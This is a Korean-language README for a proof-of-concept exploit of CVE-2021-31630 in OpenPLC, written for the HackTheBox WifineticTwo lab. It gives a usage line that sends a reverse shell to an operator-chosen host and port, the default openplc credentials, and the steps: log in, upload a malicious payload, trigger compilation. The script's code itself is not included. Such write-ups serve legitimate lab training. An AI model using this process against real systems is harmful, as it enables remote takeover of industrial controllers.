CVE-2021-31630 익스플로잇 PoC

이 Python 스크립트는 HackTheBox의 WifineticTwo 박스에서 실행되는 OpenPLC의 취약점을 대상으로 하는 CVE-2021-31630용 PoC(Proof of Concept) 익스플로잇입니다. 통제된 환경에서 익스플로잇 과정을 시연하는 것을 목적으로 하며 교육 목적으로만 설계되었습니다.

면책 조항

이 도구는 보안 연구 및 교육 목적으로만 사용됩니다. 사전 상호 동의 없이 대상을 공격하기 위해 이 도구를 사용하는 것은 불법입니다. 개발자는 이 익스플로잇을 오용하는 사용자에게 발생하는 손해나 형사 고발에 대해 책임을 지지 않습니다.

사전 요구 사항

이 익스플로잇을 실행하기 전에 다음 사항을 확인하세요:

시스템에 Python 3이 설치되어 있어야 합니다.
requests 라이브러리가 설치되어 있어야 합니다. pip install requests 명령으로 설치할 수 있습니다.

사용법

이 익스플로잇을 사용하려면 대상의 URL, 리버스 셸이 연결될 로컬 호스트 IP(LHOST)와 로컬 포트(LPORT)를 지정해야 합니다. 선택적으로 OpenPLC의 사용자 이름과 비밀번호가 기본값과 다른 경우 이를 지정할 수 있습니다.

./exploit.py --target http://wifinetictwo.htb:8080 --lhost [LHOST] --lport [LPORT] [--usr [USERNAME] --pwd [PASSWORD]]

인수

--target - 대상 기본 주소. 예: http://wifinetictwo.htb:8080
--lhost - 리버스 셸이 연결될 로컬 호스트 IP 주소.
--lport - 리버스 셸이 연결될 로컬 포트.
--usr - (선택 사항) OpenPLC 사용자 이름. 기본값은 openplc입니다.
--pwd - (선택 사항) OpenPLC 비밀번호. 기본값은 openplc입니다.

기능

제공된 자격 증명을 사용하여 로그인 과정을 자동으로 처리합니다.
원격 코드 실행을 달성하기 위해 악성 페이로드를 제작하고 업로드합니다.
공격자가 지정한 IP와 포트로 리버스 셸을 시작합니다.

익스플로잇 프로세스

로그인: 스크립트는 제공된 자격 증명을 사용하여 OpenPLC 애플리케이션에 로그인합니다.
페이로드 제작: 리버스 셸을 시작하도록 설계된 악성 페이로드를 동적으로 제작합니다.
페이로드 업로드: 제작된 페이로드를 서버에 업로드합니다.
익스플로잇 트리거: 업로드된 악성 코드의 컴파일을 시도하여 익스플로잇을 트리거하고, 그 결과 리버스 셸을 획득합니다.

감사의 말

CVE-2021-31630을 발견하고 보고한 Fellipe Oliveira님께 특별히 감사드립니다.
사이버 보안을 실습하고 배울 수 있는 현실적인 환경을 제공한 HackTheBox에 감사드립니다.

인기

htb-wifinetictwo-exploit